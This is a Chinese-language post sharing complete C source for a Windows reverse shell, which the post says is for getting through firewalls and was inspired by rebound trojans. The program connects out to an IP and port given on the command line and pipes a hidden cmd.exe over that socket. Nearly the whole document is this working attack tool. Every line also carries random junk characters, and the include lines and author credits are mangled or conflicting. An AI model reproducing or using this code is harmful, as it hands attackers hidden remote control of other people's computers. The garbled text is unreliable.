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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )q4nyT>M  
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/* ============================== I;_T_m4.q  
Rebound port in Windows NT \j)c?1*$  
By wind,2006/7 RYC%;h  
===============================*/ Ym ]g0a  
#include &e).l<B  
#include buzpmRoN)  
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#pragma comment(lib,"wsock32.lib") yCkWuU9  
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void OutputShell(); BOvJEs!UX  
SOCKET sClient; f`>\bdz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tQ'R(H`  
JF}i=}  
void main(int argc,char **argv) ?Y\WSI?i  
{ g9g ] X  
WSADATA stWsaData; .uX(-8n ~  
int nRet; :u=y7[I  
SOCKADDR_IN stSaiClient,stSaiServer; Z(4/;v <CT  
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if(argc != 3) u}R|q  
{ MxGQM>  
printf("Useage:\n\rRebound DestIP DestPort\n"); a>8] +@  
return; d^IX(y*$  
} G&wYV[Ln  
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WSAStartup(MAKEWORD(2,2),&stWsaData); d9e~><bPJ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1 +M !EW  
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stSaiClient.sin_family = AF_INET; :|I"Em3R  
stSaiClient.sin_port = htons(0); *Y53b Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3~WI3ZIR  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) A9DFZZ0  
{ {t0!N]'  
printf("Bind Socket Failed!\n"); C$ at9=(E6  
return; wp~KrUlR  
} T72Z<h|<  
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stSaiServer.sin_family = AF_INET; 5c%Fb :BW=  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); h= YTgJ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <R2SV=]Sq#  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n3/ Bs  
{ l_ x jsu  
printf("Connect Error!"); 1dp8'f5^  
return; PDgZb  
} O6-';H:I]L  
OutputShell(); :u@ w ;  
} $V<fJpA  
$'*{&/@  
void OutputShell() _Eq,udCso  
{ j9Z1=z  
char szBuff[1024]; ,FRa6;  
SECURITY_ATTRIBUTES stSecurityAttributes; XNvlx4  
OSVERSIONINFO stOsversionInfo; i}<fg*6@E  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0H}O6kU  
STARTUPINFO stStartupInfo; W Kd:O)J  
char *szShell; jM{5nRQ  
PROCESS_INFORMATION stProcessInformation; Iz#jR2:yn  
unsigned long lBytesRead; JGzEm>_ m  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); brCL"g|}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6(A"5B=\  
stSecurityAttributes.lpSecurityDescriptor = 0; m5?t<H~  
stSecurityAttributes.bInheritHandle = TRUE; 3ox|Mz<aZX  
h: z$uG  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +H? XqSC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ##] `  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9I1`*0A  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j{ri]?p  
stStartupInfo.wShowWindow = SW_HIDE; KAr5>^<zw  
stStartupInfo.hStdInput = hReadPipe; 4>HQ2S{t  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; !Xq5r8]  
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GetVersionEx(&stOsversionInfo); &"yoJ<L  
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switch(stOsversionInfo.dwPlatformId) { ux'9SA  
{ iN L>TVUM  
case 1:  ? EhIK  
szShell = "command.com"; ="g9>  
break; %wJ>V-\e  
default: N_0B[!B]  
szShell = "cmd.exe"; &_]bzTok  
break; 7u%OYt D E  
} _#<7s`i  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8tT/w5  
BL\H@D  
send(sClient,szMsg,77,0); p<RIvSqM  
while(1) BDi+ *8  
{ 2d OUY $4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wFL7JwK:G  
if(lBytesRead) %L  nG^L  
{ kxY9[#:<fB  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;l@Ge`&u  
send(sClient,szBuff,lBytesRead,0); A(JgAV1{  
} Qer}eg`R  
else gp^xl>E  
{ SXV f&8  
lBytesRead=recv(sClient,szBuff,1024,0); =d JRBl  
if(lBytesRead<=0) break; !@)tkhP  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); drB$q [Ak9  
} (%]M a  
} ~ #P` 7G  
3+vMi[YO  
return; h& Ezhv2  
}
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